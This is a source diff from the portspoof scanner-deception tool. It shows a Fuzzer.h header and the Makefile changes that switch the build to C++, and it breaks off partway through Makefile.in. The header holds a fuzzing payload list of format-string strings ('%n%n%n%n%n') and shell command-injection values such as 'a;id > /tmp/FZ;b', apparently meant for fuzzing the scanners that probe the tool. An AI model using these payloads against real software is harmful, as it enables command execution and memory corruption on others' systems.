#include <ctype.h>
|
||||
#include <map>
|
||||
#include <vector>
|
||||
#include <sstream>
|
||||
#include <unistd.h>
|
||||
#include <algorithm>
|
||||
#include <iostream>
|
||||
#include <ctime>
|
||||
#include <pthread.h>
|
||||
#include <iostream>
|
||||
#include <string>
|
||||
#include <iostream>
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
|
||||
#include "Utils.h"
|
||||
#include "Configuration.h"
|
||||
|
||||
using namespace std;
|
||||
|
||||
#define NMAP_FUZZ_FILE_SIG "nmapfuzzsignatures"
|
||||
#define FUZZ_FILE_PAYLOAD "nmapfuzzpayloads"
|
||||
|
||||
static const char* const fuzz_oracle[]=
|
||||
{
|
||||
"A",
|
||||
"%n%n%n%n%n",
|
||||
"%%20n",
|
||||
"%n%p%s%d%x",
|
||||
"%.1024d",
|
||||
"%.2049d",
|
||||
"-1",
|
||||
"32767",
|
||||
"65535",
|
||||
"-2147483647",
|
||||
"0xffffffff",
|
||||
"a|id > /tmp/FZ|b",
|
||||
"a`id > /tmp/FZ`b",
|
||||
"a'id > /tmp/FZ'b",
|
||||
"a;id > /tmp/FZ;b",
|
||||
"a&&id > /tmp/FZ&&b"
|
||||
};
|
||||
|
||||
|
||||
class Fuzzer{
|
||||
private:
|
||||
|
||||
std::string nmapfuzzsignatures_file;
|
||||
std::string fuzzpayload_file;
|
||||
Nmap_Fuzz_Vector nmapfuzzsignatures;
|
||||
FILE *fp_payloads;
|
||||
std::vector<char> input_line;
|
||||
Configuration* configuration;
|
||||
int counter;
|
||||
int payload_counter;
|
||||
int nmapfuzzsignatures_size;
|
||||
|
||||
public:
|
||||
Fuzzer();
|
||||
Fuzzer(Configuration* configuration);
|
||||
bool processSignatureFile();
|
||||
std::vector<char> GetFUZZ();
|
||||
std::vector<char> GenerateFuzzPayload();
|
||||
std::vector<char> intToBytes(int paramInt);
|
||||
std::vector<char> shortToBytes(unsigned short paramInt);
|
||||
|
||||
bool PrepareFuzzer();
|
||||
};
|
||||
|
||||
|
||||
#endif
|
4
src/Makefile.am
Normal file → Executable file
4
src/Makefile.am
Normal file → Executable file
@ -1,8 +1,8 @@
|
||||
## Process this file with automake to produce Makefile.in
|
||||
|
||||
# File lists
|
||||
headers = connection.h portspoof.h revregex.h threads.h log.h config_file.h
|
||||
sources = connection.c portspoof.c revregex.c log.c config_file.c
|
||||
headers = config.h Configuration.h connection.h Fuzzer.h Server.h revregex.h Threads.h Utils.h
|
||||
sources = Configuration.cpp connection.cpp Fuzzer.cpp Portspoof.cpp Server.cpp revregex.cpp Utils.cpp
|
||||
|
||||
# Unix executables
|
||||
bin_PROGRAMS = portspoof
|
||||
|
334
src/Makefile.in
334
src/Makefile.in
@ -1,8 +1,9 @@
|
||||
# Makefile.in generated by automake 1.10 from Makefile.am.
|
||||
# Makefile.in generated by automake 1.11.1 from Makefile.am.
|
||||
# @configure_input@
|
||||
|
||||
# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
|
||||
# 2003, 2004, 2005, 2006 Free Software Foundation, Inc.
|
||||
# 2003, 2004, 2005, 2006, 2007, 2008, 2009 Free Software Foundation,
|
||||
# Inc.
|
||||
# This Makefile.in is free software; the Free Software Foundation
|
||||
# gives unlimited permission to copy and/or distribute it,
|
||||
# with or without modifications, as long as this notice is preserved.
|
||||
@ -16,8 +17,9 @@
|
||||
|
||||
VPATH = @srcdir@
|
||||
pkgdatadir = $(datadir)/@PACKAGE@
|
||||
pkglibdir = $(libdir)/@PACKAGE@
|
||||
pkgincludedir = $(includedir)/@PACKAGE@
|
||||
pkglibdir = $(libdir)/@PACKAGE@
|
||||
pkglibexecdir = $(libexecdir)/@PACKAGE@
|
||||
am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
|
||||
install_sh_DATA = $(install_sh) -c -m 644
|
||||
install_sh_PROGRAM = $(install_sh) -c
|
||||
@ -43,21 +45,28 @@ am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \
|
||||
mkinstalldirs = $(install_sh) -d
|
||||
CONFIG_HEADER = config.h
|
||||
CONFIG_CLEAN_FILES =
|
||||
CONFIG_CLEAN_VPATH_FILES =
|
||||
am__installdirs = "$(DESTDIR)$(bindir)"
|
||||
binPROGRAMS_INSTALL = $(INSTALL_PROGRAM)
|
||||
PROGRAMS = $(bin_PROGRAMS)
|
||||
am__objects_1 =
|
||||
am__objects_2 = portspoof-connection.$(OBJEXT) \
|
||||
portspoof-portspoof.$(OBJEXT) portspoof-revregex.$(OBJEXT) \
|
||||
portspoof-log.$(OBJEXT) portspoof-config_file.$(OBJEXT)
|
||||
am__objects_2 = portspoof-Configuration.$(OBJEXT) \
|
||||
portspoof-connection.$(OBJEXT) portspoof-Fuzzer.$(OBJEXT) \
|
||||
portspoof-Portspoof.$(OBJEXT) portspoof-Server.$(OBJEXT) \
|
||||
portspoof-revregex.$(OBJEXT) portspoof-Utils.$(OBJEXT)
|
||||
am_portspoof_OBJECTS = $(am__objects_1) $(am__objects_2)
|
||||
portspoof_OBJECTS = $(am_portspoof_OBJECTS)
|
||||
portspoof_LDADD = $(LDADD)
|
||||
portspoof_LINK = $(CCLD) $(AM_CFLAGS) $(CFLAGS) $(portspoof_LDFLAGS) \
|
||||
$(LDFLAGS) -o $@
|
||||
portspoof_LINK = $(CXXLD) $(AM_CXXFLAGS) $(CXXFLAGS) \
|
||||
$(portspoof_LDFLAGS) $(LDFLAGS) -o $@
|
||||
DEFAULT_INCLUDES = -I.@am__isrc@
|
||||
depcomp = $(SHELL) $(top_srcdir)/auto/depcomp
|
||||
am__depfiles_maybe = depfiles
|
||||
am__mv = mv -f
|
||||
CXXCOMPILE = $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) \
|
||||
$(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS)
|
||||
CXXLD = $(CXX)
|
||||
CXXLINK = $(CXXLD) $(AM_CXXFLAGS) $(CXXFLAGS) $(AM_LDFLAGS) $(LDFLAGS) \
|
||||
-o $@
|
||||
COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \
|
||||
$(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS)
|
||||
CCLD = $(CC)
|
||||
@ -78,6 +87,9 @@ CCDEPMODE = @CCDEPMODE@
|
||||
CFLAGS = @CFLAGS@
|
||||
CPP = @CPP@
|
||||
CPPFLAGS = @CPPFLAGS@
|
||||
CXX = @CXX@
|
||||
CXXDEPMODE = @CXXDEPMODE@
|
||||
CXXFLAGS = @CXXFLAGS@
|
||||
CYGPATH_W = @CYGPATH_W@
|
||||
DEFS = @DEFS@
|
||||
DEPDIR = @DEPDIR@
|
||||
@ -104,6 +116,7 @@ PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@
|
||||
PACKAGE_NAME = @PACKAGE_NAME@
|
||||
PACKAGE_STRING = @PACKAGE_STRING@
|
||||
PACKAGE_TARNAME = @PACKAGE_TARNAME@
|
||||
PACKAGE_URL = @PACKAGE_URL@
|
||||
PACKAGE_VERSION = @PACKAGE_VERSION@
|
||||
PATH_SEPARATOR = @PATH_SEPARATOR@
|
||||
SET_MAKE = @SET_MAKE@
|
||||
@ -115,6 +128,7 @@ abs_srcdir = @abs_srcdir@
|
||||
abs_top_builddir = @abs_top_builddir@
|
||||
abs_top_srcdir = @abs_top_srcdir@
|
||||
ac_ct_CC = @ac_ct_CC@
|
||||
ac_ct_CXX = @ac_ct_CXX@
|
||||
am__include = @am__include@
|
||||
am__leading_dot = @am__leading_dot@
|
||||
am__quote = @am__quote@
|
||||
@ -157,12 +171,13 @@ sharedstatedir = @sharedstatedir@
|
||||
srcdir = @srcdir@
|
||||
sysconfdir = @sysconfdir@
|
||||
target_alias = @target_alias@
|
||||
top_build_prefix = @top_build_prefix@
|
||||
top_builddir = @top_builddir@
|
||||
top_srcdir = @top_srcdir@
|
||||
|
||||
# File lists
|
||||
headers = connection.h portspoof.h revregex.h threads.h log.h config_file.h
|
||||
sources = connection.c portspoof.c revregex.c log.c config_file.c
|
||||
headers = config.h Configuration.h connection.h Fuzzer.h Server.h revregex.h Threads.h Utils.h
|
||||
sources = Configuration.cpp connection.cpp Fuzzer.cpp Portspoof.cpp Server.cpp revregex.cpp Utils.cpp
|
||||
portspoof_SOURCES = $(headers) $(sources)
|
||||
|
||||
# Threads
|
||||
@ -174,18 +189,18 @@ all: config.h
|
||||
$(MAKE) $(AM_MAKEFLAGS) all-am
|
||||
|
||||
.SUFFIXES:
|
||||
.SUFFIXES: .c .o .obj
|
||||
.SUFFIXES: .cpp .o .obj
|
||||
$(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps)
|
||||
@for dep in $?; do \
|
||||
case '$(am__configure_deps)' in \
|
||||
*$$dep*) \
|
||||
cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \
|
||||
&& exit 0; \
|
||||
( cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh ) \
|
||||
&& { if test -f $@; then exit 0; else break; fi; }; \
|
||||
exit 1;; \
|
||||
esac; \
|
||||
done; \
|
||||
echo ' cd $(top_srcdir) && $(AUTOMAKE) --gnu src/Makefile'; \
|
||||
cd $(top_srcdir) && \
|
||||
$(am__cd) $(top_srcdir) && \
|
||||
$(AUTOMAKE) --gnu src/Makefile
|
||||
.PRECIOUS: Makefile
|
||||
Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
|
||||
@ -204,6 +219,7 @@ $(top_srcdir)/configure: $(am__configure_deps)
|
||||
cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
|
||||
$(ACLOCAL_M4): $(am__aclocal_m4_deps)
|
||||
cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
|
||||
$(am__aclocal_m4_deps):
|
||||
|
||||
config.h: stamp-h1
|
||||
@if test ! -f $@; then \
|
||||
@ -215,7 +231,7 @@ stamp-h1: $(srcdir)/config.h.in $(top_builddir)/config.status
|
||||
@rm -f stamp-h1
|
||||
cd $(top_builddir) && $(SHELL) ./config.status src/config.h
|
||||
$(srcdir)/config.h.in: $(am__configure_deps)
|
||||
cd $(top_srcdir) && $(AUTOHEADER)
|
||||
($(am__cd) $(top_srcdir) && $(AUTOHEADER))
|
||||
rm -f stamp-h1
|
||||
touch $@
|
||||
|
||||
@ -224,23 +240,37 @@ distclean-hdr:
|
||||
install-binPROGRAMS: $(bin_PROGRAMS)
|
||||
@$(NORMAL_INSTALL)
|
||||
test -z "$(bindir)" || $(MKDIR_P) "$(DESTDIR)$(bindir)"
|
||||
@list='$(bin_PROGRAMS)'; for p in $$list; do \
|
||||
p1=`echo $$p|sed 's/$(EXEEXT)$$//'`; \
|
||||
if test -f $$p \
|
||||
; then \
|
||||
f=`echo "$$p1" | sed 's,^.*/,,;$(transform);s/$$/$(EXEEXT)/'`; \
|
||||
echo " $(INSTALL_PROGRAM_ENV) $(binPROGRAMS_INSTALL) '$$p' '$(DESTDIR)$(bindir)/$$f'"; \
|
||||
$(INSTALL_PROGRAM_ENV) $(binPROGRAMS_INSTALL) "$$p" "$(DESTDIR)$(bindir)/$$f" || exit 1; \
|
||||
else :; fi; \
|
||||
done
|
||||
@list='$(bin_PROGRAMS)'; test -n "$(bindir)" || list=; \
|
||||
for p in $$list; do echo "$$p $$p"; done | \
|
||||
sed 's/$(EXEEXT)$$//' | \
|
||||
while read p p1; do if test -f $$p; \
|
||||
then echo "$$p"; echo "$$p"; else :; fi; \
|
||||
done | \
|
||||
sed -e 'p;s,.*/,,;n;h' -e 's|.*|.|' \
|
||||
-e 'p;x;s,.*/,,;s/$(EXEEXT)$$//;$(transform);s/$$/$(EXEEXT)/' | \
|
||||
sed 'N;N;N;s,\n, ,g' | \
|
||||
$(AWK) 'BEGIN { files["."] = ""; dirs["."] = 1 } \
|
||||
{ d=$$3; if (dirs[d] != 1) { print "d", d; dirs[d] = 1 } \
|
||||
if ($$2 == $$4) files[d] = files[d] " " $$1; \
|
||||
else { print "f", $$3 "/" $$4, $$1; } } \
|
||||
END { for (d in files) print "f", d, files[d] }' | \
|
||||
while read type dir files; do \
|
||||
if test "$$dir" = .; then dir=; else dir=/$$dir; fi; \
|
||||
test -z "$$files" || { \
|
||||
echo " $(INSTALL_PROGRAM_ENV) $(INSTALL_PROGRAM) $$files '$(DESTDIR)$(bindir)$$dir'"; \
|
||||
$(INSTALL_PROGRAM_ENV) $(INSTALL_PROGRAM) $$files "$(DESTDIR)$(bindir)$$dir" || exit $$?; \
|
||||
} \
|
||||
; done
|
||||
|
||||
uninstall-binPROGRAMS:
|
||||
@$(NORMAL_UNINSTALL)
|
||||
@list='$(bin_PROGRAMS)'; for p in $$list; do \
|
||||
f=`echo "$$p" | sed 's,^.*/,,;s/$(EXEEXT)$$//;$(transform);s/$$/$(EXEEXT)/'`; \
|
||||
echo " rm -f '$(DESTDIR)$(bindir)/$$f'"; \
|
||||
rm -f "$(DESTDIR)$(bindir)/$$f"; \
|
||||
done
|
||||
@list='$(bin_PROGRAMS)'; test -n "$(bindir)" || list=; \
|
||||
files=`for p in $$list; do echo "$$p"; done | \
|
||||
sed -e 'h;s,^.*/,,;s/$(EXEEXT)$$//;$(transform)' \
|
||||
-e 's/$$/$(EXEEXT)/' `; \
|
||||
test -n "$$list" || exit 0; \
|
||||
echo " ( cd '$(DESTDIR)$(bindir)' && rm -f" $$files ")"; \
|
||||
cd "$(DESTDIR)$(bindir)" && rm -f $$files
|
||||
|
||||
clean-binPROGRAMS:
|
||||
-test -z "$(bin_PROGRAMS)" || rm -f $(bin_PROGRAMS)
|
||||
@ -254,140 +284,174 @@ mostlyclean-compile:
|
||||
distclean-compile:
|
||||
-rm -f *.tab.c
|
||||
|
||||
@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-config_file.Po@am__quote@
|
||||
@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-Configuration.Po@am__quote@
|
||||
@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-Fuzzer.Po@am__quote@
|
||||
@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-Portspoof.Po@am__quote@
|
||||
@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-Server.Po@am__quote@
|
||||
@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-Utils.Po@am__quote@
|
||||
@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-connection.Po@am__quote@
|
||||
@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-log.Po@am__quote@
|
||||
@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-portspoof.Po@am__quote@
|
||||
@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/portspoof-revregex.Po@am__quote@
|
||||
|
||||
.c.o:
|
||||
@am__fastdepCC_TRUE@ $(COMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ $<
|
||||
@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Po
|
||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='$<' object='$@' libtool=no @AMDEPBACKSLASH@
|
||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||
@am__fastdepCC_FALSE@ $(COMPILE) -c $<
|
||||
.cpp.o:
|
||||
@am__fastdepCXX_TRUE@ $(CXXCOMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ $<
|
||||
@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Po
|
||||
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='$<' object='$@' libtool=no @AMDEPBACKSLASH@
|
||||
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||
@am__fastdepCXX_FALSE@ $(CXXCOMPILE) -c -o $@ $<
|
||||
|
||||
.c.obj:
|
||||
@am__fastdepCC_TRUE@ $(COMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ `$(CYGPATH_W) '$<'`
|
||||
@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Po
|
||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='$<' object='$@' libtool=no @AMDEPBACKSLASH@
|
||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||
@am__fastdepCC_FALSE@ $(COMPILE) -c `$(CYGPATH_W) '$<'`
|
||||
.cpp.obj:
|
||||
@am__fastdepCXX_TRUE@ $(CXXCOMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ `$(CYGPATH_W) '$<'`
|
||||
@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Po
|
||||
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='$<' object='$@' libtool=no @AMDEPBACKSLASH@
|
||||
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||
@am__fastdepCXX_FALSE@ $(CXXCOMPILE) -c -o $@ `$(CYGPATH_W) '$<'`
|
||||
|
||||
portspoof-connection.o: connection.c
|
||||
@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-connection.o -MD -MP -MF $(DEPDIR)/portspoof-connection.Tpo -c -o portspoof-connection.o `test -f 'connection.c' || echo '$(srcdir)/'`connection.c
|
||||
@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-connection.Tpo $(DEPDIR)/portspoof-connection.Po
|
||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='connection.c' object='portspoof-connection.o' libtool=no @AMDEPBACKSLASH@
|
||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||
@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-connection.o `test -f 'connection.c' || echo '$(srcdir)/'`connection.c
|
||||
portspoof-Configuration.o: Configuration.cpp
|
||||
@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-Configuration.o -MD -MP -MF $(DEPDIR)/portspoof-Configuration.Tpo -c -o portspoof-Configuration.o `test -f 'Configuration.cpp' || echo '$(srcdir)/'`Configuration.cpp
|
||||
@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-Configuration.Tpo $(DEPDIR)/portspoof-Configuration.Po
|
||||
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='Configuration.cpp' object='portspoof-Configuration.o' libtool=no @AMDEPBACKSLASH@
|
||||
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||
@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-Configuration.o `test -f 'Configuration.cpp' || echo '$(srcdir)/'`Configuration.cpp
|
||||
|
||||
portspoof-connection.obj: connection.c
|
||||
@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-connection.obj -MD -MP -MF $(DEPDIR)/portspoof-connection.Tpo -c -o portspoof-connection.obj `if test -f 'connection.c'; then $(CYGPATH_W) 'connection.c'; else $(CYGPATH_W) '$(srcdir)/connection.c'; fi`
|
||||
@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-connection.Tpo $(DEPDIR)/portspoof-connection.Po
|
||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='connection.c' object='portspoof-connection.obj' libtool=no @AMDEPBACKSLASH@
|
||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||
@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-connection.obj `if test -f 'connection.c'; then $(CYGPATH_W) 'connection.c'; else $(CYGPATH_W) '$(srcdir)/connection.c'; fi`
|
||||
portspoof-Configuration.obj: Configuration.cpp
|
||||
@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-Configuration.obj -MD -MP -MF $(DEPDIR)/portspoof-Configuration.Tpo -c -o portspoof-Configuration.obj `if test -f 'Configuration.cpp'; then $(CYGPATH_W) 'Configuration.cpp'; else $(CYGPATH_W) '$(srcdir)/Configuration.cpp'; fi`
|
||||
@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-Configuration.Tpo $(DEPDIR)/portspoof-Configuration.Po
|
||||
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='Configuration.cpp' object='portspoof-Configuration.obj' libtool=no @AMDEPBACKSLASH@
|
||||
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||
@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-Configuration.obj `if test -f 'Configuration.cpp'; then $(CYGPATH_W) 'Configuration.cpp'; else $(CYGPATH_W) '$(srcdir)/Configuration.cpp'; fi`
|
||||
|
||||
portspoof-portspoof.o: portspoof.c
|
||||
@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-portspoof.o -MD -MP -MF $(DEPDIR)/portspoof-portspoof.Tpo -c -o portspoof-portspoof.o `test -f 'portspoof.c' || echo '$(srcdir)/'`portspoof.c
|
||||
@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-portspoof.Tpo $(DEPDIR)/portspoof-portspoof.Po
|
||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='portspoof.c' object='portspoof-portspoof.o' libtool=no @AMDEPBACKSLASH@
|
||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||
@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-portspoof.o `test -f 'portspoof.c' || echo '$(srcdir)/'`portspoof.c
|
||||
portspoof-connection.o: connection.cpp
|
||||
@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-connection.o -MD -MP -MF $(DEPDIR)/portspoof-connection.Tpo -c -o portspoof-connection.o `test -f 'connection.cpp' || echo '$(srcdir)/'`connection.cpp
|
||||
@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-connection.Tpo $(DEPDIR)/portspoof-connection.Po
|
||||
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='connection.cpp' object='portspoof-connection.o' libtool=no @AMDEPBACKSLASH@
|
||||
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||
@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-connection.o `test -f 'connection.cpp' || echo '$(srcdir)/'`connection.cpp
|
||||
|
||||
portspoof-portspoof.obj: portspoof.c
|
||||
@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-portspoof.obj -MD -MP -MF $(DEPDIR)/portspoof-portspoof.Tpo -c -o portspoof-portspoof.obj `if test -f 'portspoof.c'; then $(CYGPATH_W) 'portspoof.c'; else $(CYGPATH_W) '$(srcdir)/portspoof.c'; fi`
|
||||
@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-portspoof.Tpo $(DEPDIR)/portspoof-portspoof.Po
|
||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='portspoof.c' object='portspoof-portspoof.obj' libtool=no @AMDEPBACKSLASH@
|
||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||
@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-portspoof.obj `if test -f 'portspoof.c'; then $(CYGPATH_W) 'portspoof.c'; else $(CYGPATH_W) '$(srcdir)/portspoof.c'; fi`
|
||||
portspoof-connection.obj: connection.cpp
|
||||
@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-connection.obj -MD -MP -MF $(DEPDIR)/portspoof-connection.Tpo -c -o portspoof-connection.obj `if test -f 'connection.cpp'; then $(CYGPATH_W) 'connection.cpp'; else $(CYGPATH_W) '$(srcdir)/connection.cpp'; fi`
|
||||
@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-connection.Tpo $(DEPDIR)/portspoof-connection.Po
|
||||
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='connection.cpp' object='portspoof-connection.obj' libtool=no @AMDEPBACKSLASH@
|
||||
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||
@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-connection.obj `if test -f 'connection.cpp'; then $(CYGPATH_W) 'connection.cpp'; else $(CYGPATH_W) '$(srcdir)/connection.cpp'; fi`
|
||||
|
||||
portspoof-revregex.o: revregex.c
|
||||
@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-revregex.o -MD -MP -MF $(DEPDIR)/portspoof-revregex.Tpo -c -o portspoof-revregex.o `test -f 'revregex.c' || echo '$(srcdir)/'`revregex.c
|
||||
@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-revregex.Tpo $(DEPDIR)/portspoof-revregex.Po
|
||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='revregex.c' object='portspoof-revregex.o' libtool=no @AMDEPBACKSLASH@
|
||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||
@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-revregex.o `test -f 'revregex.c' || echo '$(srcdir)/'`revregex.c
|
||||
portspoof-Fuzzer.o: Fuzzer.cpp
|
||||
